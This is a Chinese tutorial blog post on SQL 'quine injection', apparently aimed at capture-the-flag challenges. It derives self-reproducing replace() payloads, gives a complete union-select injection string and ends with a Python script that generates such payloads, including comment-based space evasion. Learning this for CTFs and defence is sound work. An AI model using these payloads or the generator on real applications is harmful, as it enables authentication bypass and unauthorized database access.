sql注入 Quine注入解析

前言

quine注入,即查询的结果是查询的语句

首先看看如下sql语句会返回什么

select replace(".",char(46),".");

返回了一个点

匹配字符串".“中ascii码为46的字符并替换为”.“,也就是将”.“转换为”."并返回

继续看下面这个sql语句

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

在这里插入图片描述很相似,但并不完全一致,查询出的结果是双引号的

此处将字符串 replace(“.”,char(46),“.”)

中ascii码为46的字符替换为另一字符串 replace(“.”,char(46),“.”)

也就是

replace(“replace(”.“,char(46),”.“)”,char(46),“replace(”.“,char(46),”.“)”)

观察原来的查询语句

replace(’ replace(“.”,char(46),“.”)',char(46),‘replace(“.”,char(46),“.”)’)

那么我们只需要将双引号替换成单引号就行

select replace("\"\"",char(34),char(39));

所以需要替换的字符串就变成了

'replace(replace(".",char(34),char(39)),char(46),".")'

这一步是替换单双引号

select replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));

这一步是替换点为相关字符

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

最终得到如上结果

这样我们确实是可以执行sql语句了,但是还需要解决注入的问题(这样只能堆叠)
所以加入union select的sql语句如下

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

构造过程

构造过程如下
第一步拿基本语句作为替换语句
比如我想要 1’union select #

1"union select #

转单引号为双引号

1" union select replace(replace(".",char(34),char(39)),char(46),".")#

放入基本语句

第二步拼接

replace(replace('.',char(34),char(39)),char(46),'.')
replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')

补全

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

题目特征

适用于如下的条件
image-20230424135507408image-20230424135535557

脚本

稍微用残疾的python水平写了个小脚本
勉强可用,减少了手动构造可能的出错

sql = input ("输入你的sql语句,不用写关键查询的信息  形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
    if ("--+" in string):
        tem = string.split("--+")[0] + base + "--+"
    if ("#" in string):
        tem = string.split("#")[0] + base + "#"
    return tem
def patch(string,sql):
    if ("--+" in string):
        return sql.split("--+")[0] + string + "--+"
    if ("#" in string):
        return sql.split("#")[0] + string + "#"

res = patch(base.replace(".",add(sql2)),sql).replace(" ","/**/").replace("'.'",'"."')

print(res)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值